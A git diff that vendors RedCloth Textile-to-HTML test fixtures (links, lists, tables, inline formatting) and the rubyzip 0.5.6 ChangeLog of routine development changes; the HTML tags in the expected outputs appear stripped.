    diff --git a/vendor/redcloth-2.0.11/tests/instiki.yml b/vendor/redcloth-2.0.11/tests/instiki.yml new file mode 100755 index 00000000..eaf22424 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/instiki.yml @@ -0,0 +1,37 @@ +--- # Bugs filed at http://www.instiki.org/show/BugReports +in: |- + _Hi, Joe Bob?, this should all be in italic!_ +out: |- +

    Hi, Joe Bob?, this should all be in italic!

    +--- +in: '*this span is strong*' +out: '

    this span is strong

    ' +--- +in: '*this Camel Thing? is strong*' +out: '

    this Camel Thing? is strong

    ' +--- +in: '_this span is italic_' +out: '

    this span is italic

    ' +--- +in: '%{color:red}nested span because of Camel Word?%' +out: '

    nested span because of Camel Word?

    ' +--- +in: |- + h2. Version History + * "Version + 0.0":http://www.threewordslong.com/render-0-8-9b.patch - Early version using MD5 hashes. + * "Version + 0.1":http://www.threewordslong.com/chunk-0-1.patch.gz - First cut of new system. Much cleaner. + * "Version 0.2":http://www.threewordslong.com/chunk-0-2.patch.gz - Fixed problem with "authors" page and some tests. +out: |- +

    Version History

    +
      +
    • Version
      + 0.0
      – Early version using MD5 hashes.
    • +
    • Version
      + 0.1
      – First cut of new system. Much cleaner.
    • +
    • Version 0.2 – Fixed problem with “authors” page and some tests.
    • +
    +--- +in: "--richSeymour --whyTheLuckyStiff" +out: "

    —richSeymour—whyTheLuckyStiff

    " diff --git a/vendor/redcloth-2.0.11/tests/links.yml b/vendor/redcloth-2.0.11/tests/links.yml new file mode 100755 index 00000000..eeb28ae8 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/links.yml @@ -0,0 +1,152 @@ +--- +in: '"link text":#1' +out:

    link text

    +--- +in: '"link text":#a' +out:

    link text

    +--- +in: '"link text":#a1' +out:

    link text

    +--- +in: '"link text":#a10' +out:

    link text

    +--- +in: '"link text":index.html' +out:

    link text

    +--- +in: '"link text":index.html#1' +out:

    link text

    +--- +in: '"link text":index.html#a' +out:

    link text

    +--- +in: '"link text":index.html#a1' +out:

    link text

    +--- +in: '"link text":index.html#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/' +out:

    link text

    +--- +in: '"link text":http://example.com/#1' +out:

    link text

    +--- +in: '"link text":http://example.com/#a' +out:

    link text

    +--- +in: '"link text":http://example.com/#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#1' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a10' +out:

    link text

    +--- +in: 'This is a "link":http://example.com/' +out:

    This is a link

    +--- +in: 'This is a "link":http://example.com/.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a10.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a10.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a10, but this is not.' +out:

    This is a link, but this is not.

    +--- +in: '(This is a "link":http://example.com/?foo=bar#a10) but this is not.' +out:

    (This is a link) but this is not.

    +--- +in: '"link text(link title)":http://example.com/' +out:

    link text

    +# --- +# in: '"link text(link title) ":http://example.com/' +# out:

    “link text(link title) “:http://example.com/

    +# comments: this is a real test and should pass +--- +in: '"(link) text(link title)":http://example.com/' +out:

    text

    +comments: link text can not contain parentheses +--- +in: '"Dive Into XML":http://www.xml.com/pub/au/164' +out:

    Dive Into XML

    +--- +in: '"Lab Exercises":../lab/exercises/exercises.html.' +out:

    Lab Exercises.

    +--- +in: 'Go to "discuss":http://www.dreammoods.com/cgibin/cutecast/cutecast.pl?forum=1&thread=26627 to discuss.' +out:

    Go to discuss to discuss.

    +--- +in: '* "rubylang":http://www.ruby-lang.org/en/' +out: "" diff --git a/vendor/redcloth-2.0.11/tests/lists.yml b/vendor/redcloth-2.0.11/tests/lists.yml new file mode 100755 index 00000000..d075ce5b --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/lists.yml @@ -0,0 +1,81 @@ +--- # Bret Pettichord, Thanks. +in: |- + * first line + * second + line + * third line +out: |- +
      +
    • first line
    • +
    • second + line
    • +
    • third line
    • +
    +--- +in: |- + p. start + + * one + and one + * two + and two + * three + + p. end +out: |- +

    start

    + +
      +
    • one
      + and one
    • +
    • two
      + and two
    • +
    • three
    • +
    + +

    end

    +--- +in: |- + Funky: + + * Testing + *# number + *##* bullet + *# number + *# number + yeah number + #* bullet + *** okay + + ****# what + + +out: |- +

    Funky:

    + +
      +
    • Testing +
        +
      1. number +
          +
        • bullet
        • +
        +
      2. +
      3. number
      4. +
      5. number
        + yeah number
      6. +
          +
        • bullet +
            +
          • okay + +
              +
            1. what
            2. +
        • +
    • +
    + + +--- +in: "* command run: @time ruby run-tests.rb > toto@" +out: "
      \n\t
    • command run: time ruby run-tests.rb > toto
    • \n\t
    " diff --git a/vendor/redcloth-2.0.11/tests/poignant.yml b/vendor/redcloth-2.0.11/tests/poignant.yml new file mode 100755 index 00000000..5e773373 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/poignant.yml @@ -0,0 +1,64 @@ +--- # Tests from the (Poignant Guide) +in: > + h3. False + + + ! + if plastic_cup + print "Plastic cup is on the up 'n' up!" + end +
    + + + If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print + to the screen. They're not on the @if@ guest list. So @if@ isn't going to run + any of the code it's protecting. + + + But @nil@ and @false@ need not walk away in shame. They may be of questionable + character, but @unless@ runs a smaller establishment that caters to the bedraggled. + The @unless@ keyword has a policy of only allowing those with a negative charge in. + Who are: @nil@ and @false@. + + +
    +    unless plastic_cup
    +      print "Plastic cup is on the down low."
    +    end
    +  
    + + + You can also use @if@ and @unless@ at the end of a single line of code, if that's + all that is being protected. + + +
    +    print "Yeah, plastic cup is up again!" if plastic_cup
    +    print "Hardly. It's down." unless plastic_cup
    +  
    + + + Now that you've met @false@, I'm sure you can see what's on next. + +out: "

    False

    \n\n\t

    \"Shape

    \n\n\t

    The cat Trady Blix. Frozen in emptiness. Immaculate whiskers rigid. Placid eyes of lake. Tail of warm icicle. Sponsored by a Very Powerful Pause Button.

    \n\n\t

    The darkness surrounding Blix can be called negative space. Hang on to that phrase. Let it suggest that the emptiness has a negative connotation. In a similar way, nil has a slightly sour note that it whistles.

    \n\n\t

    Generally speaking, everything in Ruby has a positive charge to it. This spark flows through strings, numbers, regexps, all of it. Only two keywords wear a shady cloak: nil and false draggin us down.

    \n\n\t

    You can test that charge with an if keyword. It looks very much like the do blocks we saw in the last chapter, in that both end with an end.

    \n\n
    \n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n
    \n\n\t

    If plastic_cup contains either nil or false, you won’t see anything print to the screen. They’re not on the if guest list. So if isn’t going to run any of the code it’s protecting.

    \n\n\t

    But nil and false need not walk away in shame. They may be of questionable character, but unless runs a smaller establishment that caters to the bedraggled. The unless keyword has a policy of only allowing those with a negative charge in. Who are: nil and false.

    \n\n
    \n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n
    \n\n\t

    You can also use if and unless at the end of a single line of code, if that’s all that is being protected.

    \n\n
    \n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n
    \n\n\t

    Now that you’ve met false, I’m sure you can see what’s on next.
    \n

    " diff --git a/vendor/redcloth-2.0.11/tests/textism.yml b/vendor/redcloth-2.0.11/tests/textism.yml new file mode 100755 index 00000000..cdb0c625 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/textism.yml @@ -0,0 +1,404 @@ +--- +in: h1. Header 1 +out:

    Header 1

    +--- +in: h2. Header 2 +out:

    Header 2

    +--- +in: h3. Header 3 +out:

    Header 3

    +--- +in: |- + Any old text. + + bq. A block quotation. + + Any old text. + +out: |- +

    Any old text.

    + +
    +

    A block quotation.

    +
    + +

    Any old text.

    + +--- +in: This is covered elsewhere[1]. +out:

    This is covered elsewhere1.

    +--- +in: fn1. Down here, in fact. +out:

    1 Down here, in fact.

    +--- +in: |- + # A first item + # A second item + # A third item + # A fourth item +out: |- +
      +
    1. A first item
    2. +
    3. A second item
    4. +
    5. A third item
    6. +
    7. A fourth item
    8. +
    +--- +in: |- + * A first item + * A second item + * A third item + * A fourth item + +out: |- +
      +
    • A first item
    • +
    • A second item
    • +
    • A third item
    • +
    • A fourth item
    • +
    + +--- +in: _a phrase_ +out:

    a phrase

    +--- +in: __a phrase__ +out:

    a phrase

    +--- +in: '*a phrase*' +out:

    a phrase

    +--- +in: '**a phrase**' +out:

    a phrase

    +--- +in: Nabokov's ??Pnin?? +out:

    Nabokov’s Pnin

    +--- +in: -a phrase- +out:

    a phrase

    +--- +in: +a phrase+ +out:

    a phrase

    +--- +in: ^a phrase^ +out:

    a phrase

    +--- +in: ~a phrase~ +out:

    a phrase

    +# --- +# in: %(caps)SPAN% +# out:

    SPAN +--- +in: %{color:red}red% +out:

    red

    +--- +in: %[fr]rouge% +out:

    rouge

    +--- +in: _(big)red_ +out:

    red

    +--- +in: p(bob). A paragraph +out:

    A paragraph

    +--- +in: p{color:#ddd}. A paragraph +out:

    A paragraph

    +--- +in: p[fr]. A paragraph +out:

    A paragraph

    +--- +in: h2()>. right-aligned header2, indented 1em both side +out:

    right-aligned header2, indented 1em both side

    +--- +in: h3=. centered header +out:

    centered header

    +--- +in: '!>/image.gif! right-aligned image' +out:

    right-aligned image

    +--- +in: p[no]{color:red}. A Norse of a different colour. +out:

    A Norse of a different colour.

    +--- +in: |- + |This|is|a|simple|table| + |This|is|a|simple|row| +out: |- + + + + + + + + + + + + + + + +
    Thisisasimpletable
    Thisisasimplerow
    +--- +in: |- + table{border:1px solid black}. + |This|is|a|row| + |This|is|a|row| +out: |- + + + + + + + + + + + + + +
    Thisisarow
    Thisisarow
    +--- +in: '{background:#ddd}. |This|is|a|row|' +out: |- + + + + + + + +
    Thisisarow
    +--- +in: |- + |{background:#ddd}. Cell with gray background| + |\2. Cell spanning 2 columns| + |/3. Cell spanning 3 rows| + |>. Right-aligned cell| +out: |- + + + + + + + + + + + + + +
    Cell with gray background
    Cell spanning 2 columns
    Cell spanning 3 rows
    Right-aligned cell
    +# --- +# in: |- +# This is a "link":bob to Bob's website. +# +# [bob]http://itsbob.com/index.html +--- +in: ACLU(American Civil Liberties Union) +out:

    ACLU

    +--- +in: |- + h2{color:green}. This is a title + + h3. This is a subhead + + p{color:red}. This is some text of dubious character. Isn't the use of "quotes" just lazy writing -- and theft of 'intellectual property' besides? I think the time has come to see a block quote. + + bq[fr]. This is a block quote. I'll admit it's not the most exciting block quote ever devised. + + Simple list: + + #{color:blue} one + # two + # three + + Multi-level list: + + # one + ## aye + ## bee + ## see + # two + ## x + ## y + # three + + Mixed list: + + * Point one + * Point two + ## Step 1 + ## Step 2 + ## Step 3 + * Point three + ** Sub point 1 + ** Sub point 2 + + + Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No! + + "This is a link (optional title)":http://www.textism.com + + table{border:1px solid black}. + |_. this|_. is|_. a|_. header| + <{background:gray}. |\2. this is|{background:red;width:200px}. a|^<>{height:200px}. row| + |this|<>{padding:10px}. is|^. another|(bob#bob). row| + + An image: + + !/common/textist.gif(optional alt text)! + + # Librarians rule + # Yes they do + # But you knew that + + Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_. + That was a linebreak. And something to indicate *strength*. Of course I could use my own HTML tags if I felt like it. + + h3. Coding + + This is some code, "isn't it". Watch those quote marks! Now for some preformatted text: + +
    +  
    +      $text = str_replace("

    %::%

    ","",$text); + $text = str_replace("%::%

    ","",$text); + $text = str_replace("%::%","",$text); + +
    +
    + + This isn't code. + + + So you see, my friends: + + * The time is now + * The time is not later + * The time is not yesterday + * We must act + +out: |- +

    This is a title

    + +

    This is a subhead

    + +

    This is some text of dubious character. Isn’t the use of “quotes” just lazy writing—and theft of ‘intellectual property’ besides? I think the time has come to see a block quote.

    + +
    +

    This is a block quote. I’ll admit it’s not the most exciting block quote ever devised.

    +
    + +

    Simple list:

    + +
      +
    1. one
    2. +
    3. two
    4. +
    5. three
    6. +
    + +

    Multi-level list:

    + +
      +
    1. one +
        +
      1. aye
      2. +
      3. bee
      4. +
      5. see
      6. +
      +
    2. +
    3. two +
        +
      1. x
      2. +
      3. y
      4. +
      +
    4. +
    5. three
    6. +
    + +

    Mixed list:

    + +
      +
    • Point one
    • +
    • Point two +
        +
      1. Step 1
      2. +
      3. Step 2
      4. +
      5. Step 3
      6. +
      +
    • +
    • Point three +
        +
      • Sub point 1
      • +
      • Sub point 2
      • +
    • +
    + +

    Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No!

    + +

    This is a link

    + + + + + + + + + + + + + + + + + + + +
    thisisaheader
    this isarow
    thisisanotherrow
    + +

    An image:

    + +

    optional alt text

    + +
      +
    1. Librarians rule
    2. +
    3. Yes they do
    4. +
    5. But you knew that
    6. +
    + +

    Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to emphasize.
    + That was a linebreak. And something to indicate strength. Of course I could use my own HTML tags if I felt like it.

    + +

    Coding

    + +

    This is some code, "isn't it". Watch those quote marks! Now for some preformatted text:

    + +
    +  
    +      $text = str_replace("<p>%::%</p>","",$text);
    +      $text = str_replace("%::%</p>","",$text);
    +      $text = str_replace("%::%","",$text);
    +  
    +  
    +  
    + +

    This isn’t code.

    + +

    So you see, my friends:

    + +
      +
    • The time is now
    • +
    • The time is not later
    • +
    • The time is not yesterday
    • +
    • We must act
    • +
    + + + + + diff --git a/vendor/rubyzip-0.5.6/ChangeLog b/vendor/rubyzip-0.5.6/ChangeLog new file mode 100755 index 00000000..e7683189 --- /dev/null +++ b/vendor/rubyzip-0.5.6/ChangeLog @@ -0,0 +1,860 @@ +2004-12-12 11:22 thomas + + * NEWS, TODO, samples/write_simple.rb, zip/zip.rb: Fixed 'version + needed to extract'-field wrong in local headers + +2004-05-02 15:17 thomas + + * rubyzip.gemspec: Added gemspec contributed by Chad Fowler + +2004-04-02 07:25 thomas + + * NEWS, zip/zip.rb: Fix for FreeBSD 4.9 + +2004-03-28 15:23 thomas + + * zip/zip.rb: Use RUBY_VERSION not VERSION constant + +2004-03-28 14:51 thomas + + * zip/zip.rb: Only use bugfixed Tempfile implementation if the ruby + version hasnt been fixed (contributed by Nobu Nakada) + +2004-03-28 14:46 thomas + + * zip/tempfile_bugfixed.rb: Compatibility with DelegateClass in + ruby version 1.8.1 and newer + +2004-03-27 16:09 thomas + + * test/stdrubyexttest.rb, zip/stdrubyext.rb: Patch for + stdrubyext.rb from Nobu Nakada + +2004-03-27 15:30 thomas + + * test/ioextrastest.rb, test/stdrubyexttest.rb, zip/ioextras.rb: + converted some files to unix line-endings + +2004-03-25 16:34 thomas + + * NEWS, install.rb, zip/tempfile_bugfixed.rb, zip/zip.rb: + Significantly reduced memory footprint when modifying zip files + +2004-03-16 18:20 thomas + + * install.rb, test/alltests.rb, test/ioextrastest.rb, + test/stdrubyexttest.rb, test/ziptest.rb, zip/ioextras.rb, + zip/zip.rb: IO utility classes moved to new file ioextras.rb. + Tests moved to new file ioextrastest.rb + +2004-02-27 13:21 thomas + + * NEWS, zip/zip.rb: Optimization to avoid decompression and + recompression + +2004-01-30 16:07 thomas + + * README, test/zipfilesystemtest.rb, test/ziptest.rb, + zip/stdrubyext.rb, zip/zip.rb, zip/zipfilesystem.rb: Applied + extra-field patch + +2003-12-10 00:25 thomas + + * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano + +2003-10-03 11:05 thomas + + * zip/: stdrubyext.rb, zip.rb: Thanks to Clifford Heath for + noticing that Time.to_binary_dos_date and time were reversed + +2003-08-23 09:42 thomas + + * test/ziptest.rb, zip/zip.rb, NEWS: Fixed ZipFile.get_ouput_stream + bug - data was never written to zip + +2003-08-21 16:01 thomas + + * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, + ziprequiretest.rb, ziptest.rb, test/alltests.rb, + test/stdrubyexttest.rb, test/zipfilesystemtest.rb, + test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby + files to test/ + +2003-08-21 15:54 thomas + + * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, + zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, + ziprequiretest.rb, ziptest.rb, samples/example.rb, + samples/example_filesystem.rb, samples/gtkRubyzip.rb, + samples/zipfind.rb, zip/stdrubyext.rb, zip/zip.rb, + zip/zipfilesystem.rb, zip/ziprequire.rb: Moved all production + source files to zip/ so they are in the same dir as when they are + installed + +2003-08-21 15:26 thomas + + * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed + filearchive.rb, filearchivetest.rb and fileutils.rb + +2003-08-21 15:24 thomas + + * samples/.cvsignore, samples/example_filesystem.rb, zip.rb: Added + samples/example_filesystem.rb. Fixed Tempfile creation for + entries created with get_output_stream where entries were in a + subdirectory + +2003-08-21 15:15 thomas + + * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if + the zipfile doesn't exist already + +2003-08-21 14:53 thomas + + * TODO, zipfilesystemtest.rb: Globbing test placeholder commented + out + +2003-08-21 14:32 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new + and open + +2003-08-21 14:19 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator + and tests + +2003-08-20 22:44 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of + it + +2003-08-20 17:30 thomas + + * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to + ZipFile is now routed through ZipFileNameMapper which has the + single responsibility of mapping entry/filenames + +2003-08-20 17:18 thomas + + * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added + stdrubyexttest.rb and added test test_select_map + +2003-08-20 16:10 thomas + + * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem + now has a ctor that creates ZipFsDir and ZipFsFile instances, + instead of creating them lazily. It then passes the dir instance + to the file instance and vice versa + +2003-08-20 15:55 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open + honours chdir + +2003-08-20 15:39 thomas + + * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, + ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented + ZipFsDir.chdir, pwd and entries including test + +2003-08-19 15:44 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.mkdir + +2003-08-19 15:07 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.delete (and aliases rmdir and unlink) + +2003-08-19 14:33 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy + implementation and commented out a test for select() which can be + added later + +2003-08-18 20:40 thomas + + * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning + +2003-08-18 20:30 thomas + + * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: + Converted a few more names to ruby underscore style that I missed + with the automated processing the first time around + +2003-08-18 18:39 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: + Implemented Zip::ZipFile.get_output_stream + +2003-08-17 18:28 thomas + + * README, install.rb, stdrubyext.rb, zipfilesystem.rb, + zipfilesystemtest.rb: Updated README with Documentation section. + Updated install.rb. Fixed three tests that failed on 1.8.0. + +2003-08-14 05:40 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Added empty + implementations of atime and ctime + +2003-08-13 17:08 thomas + + * simpledist.rb: Moved simpledist to a separate repository called + 'misc' + +2003-08-13 16:29 thomas + + * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, + ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, + samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method + names to the ruby convention underscore style + +2003-08-13 15:18 thomas + + * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented + a lot more of the stat methods. Mostly with dummy implementations + that return values that indicate that these features aren't + supported + +2003-08-13 11:44 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods + and tests in zipfilesystem. Mostly empty methods as permissions + and file types other than files and directories are not supported + +2003-08-13 11:29 thomas + + * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, + zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the + modifications to std ruby classes to it. Refactored the ZipFsStat + tests and ZipFsStat. Added Module.forwardMessages and used it to + implement the forwarding of calls in ZipFsStat + +2003-08-13 10:39 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Added + Zip::ZipFsFile::ZipFsStat and started implementing it and its + methods + +2003-08-13 10:02 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and + added missing copyright notices + +2003-08-13 10:00 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb + is becoming big and not everyone will want to use that code. + Therefore zip.rb no longer requires it. Instead you must require + zipfilesystem.rb itself if you want to use it + +2003-08-13 09:51 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy + permission test methods + +2003-08-13 06:37 thomas + + * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer + Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 + now + +2003-08-12 19:18 thomas + + * zip.rb: Get rid of 1.8.0 warning + +2003-08-12 19:14 thomas + + * ziptest.rb: ruby 1.8.0 compatibility fix + +2003-08-12 19:13 thomas + + * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix + +2002-09-14 22:59 thomas + + * samples/zipfind.rb: Added simple zipfind script + +2002-09-13 23:53 thomas + + * TODO: Added TODO about openmode for zip entries binary/ascii + +2002-09-13 20:54 thomas + + * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's + latest build) + +2002-09-13 20:51 thomas + + * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without + errors with ruby-1.7.2-4 (Andy's latest build) + +2002-09-12 00:20 thomas + + * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test + +2002-09-12 00:10 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.delete/unlink + +2002-09-11 22:18 thomas + + * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed + AbstractInputStream.each_line ignored its aSeparator argument. + Implemented more ZipFsFile methods + +2002-09-11 21:28 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is + now a module instead of a class, and is mixed into ZipFile, + instead of being made available as a property fileSystem + +2002-09-10 23:45 thomas + + * NEWS: Updated NEWS file + +2002-09-10 22:39 thomas + + * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. + Fix bug: Deflater.read uses separate buffer from produceInput + (feeding gets/readline etc) + +2002-09-09 22:55 uid26649 + + * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and + AbstractInputStream.lineno. Tests for both + +2002-09-09 20:31 thomas + + * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their + AbstractInputStream and AbstractOutputStream now lie about being + kind_of?(IO) + +2002-09-08 16:07 thomas + + * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved + String additions from filearchive.rb to zip.rb (and moved tests + along too to ziptest.rb). Added ZipEntry.parentAsString and + ZipEntrySet.parent + +2002-09-08 15:28 thomas + + * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound + +2002-09-08 15:17 thomas + + * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for + keeping entries in a zip file. Tagged repository before this + commit, so this change can be rolled back, if it stinks + +2002-09-07 20:21 thomas + + * zip.rb, ziptest.rb: Implemented ZipEntry.<=> + +2002-09-07 14:48 thomas + + * ziptest.rb: Removed unused code + +2002-08-11 15:14 thomas + + * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 + +2002-07-27 15:25 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new + +2002-07-27 00:30 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.pipe + +2002-07-27 00:25 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.link + +2002-07-27 00:23 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.symlink + +2002-07-27 00:20 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module + +2002-07-27 00:14 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.zero? + +2002-07-27 00:01 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for + ZipFsFile.directory? + +2002-07-26 23:56 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.socket? + +2002-07-26 23:50 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.join + +2002-07-26 23:32 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.ftype + +2002-07-26 23:19 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.blockdev? + +2002-07-26 23:12 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.size? (slightly different from size) + +2002-07-26 23:03 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.split + +2002-07-26 23:00 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.symlink? + +2002-07-26 22:58 thomas + + * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: + Implemented ZipFsFile.mtime + +2002-07-26 17:08 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? + +2002-07-26 17:06 thomas + + * zip.rb, ziptest.rb: Implemented ZipEntry.file? + +2002-07-26 16:57 thomas + + * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, + zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, + ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size + +2002-07-26 16:40 thomas + + * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries + in it have unix file endings + +2002-07-26 16:12 thomas + + * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: + Started implementing ZipFileSystem + +2002-07-26 15:56 thomas + + * test/zipWithDirs.zip: Added a zip file for testing with a + directory structure + +2002-07-21 18:12 thomas + + * TODO: Updated TODO with a refactoring idea for FileArchive + +2002-07-21 17:59 thomas + + * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd + tests and cleaned up some of the FileArchive tests. extract and + add now have individual test fixtures. + +2002-07-21 16:02 thomas + + * filearchive.rb, filearchivetest.rb: Added tests for extract + called with regex src arg and Enumerable src arg + +2002-07-21 15:37 thomas + + * filearchivetest.rb: Added test for continueOnExistsProc when + extracting from a file archive + +2002-07-20 17:13 thomas + + * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, + test/.cvsignore: Added (failing) tests for FileArchive.add, added + code for creating test files for FileArchive.add tests. Added + fileutils.rb, which is borrowed from ruby 1.7.2 + +2002-07-20 16:05 thomas + + * filearchivetest.rb: Added tests for String extensions + +2002-07-20 00:42 thomas + + * TODO: Updated TODO + +2002-07-20 00:35 thomas + + * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests + run + +2002-05-25 00:41 thomas + + * simpledist.rb: Added hackish script for creating dist files + +2002-04-30 20:40 thomas + + * filearchive.rb, filearchivetest.rb: Improved testing and wrote + some of the skeleton of extract. Still to do: Fix glob, so it + returns a hashmap instead of a list. The map will need to map the + full entry name to the last part of the name (which is only + really interesting for recursively extracted entries, otherwise + it is just the name). Glob.expandPathList should also output + directories with a trailing slash, which is doesn't right now. + +2002-04-30 19:52 thomas + + * filearchive.rb, filearchivetest.rb: Implemented the first few + tests for FileArchive + +2002-04-24 22:06 thomas + + * ziprequire.rb, ziprequiretest.rb: Appended copyright message to + 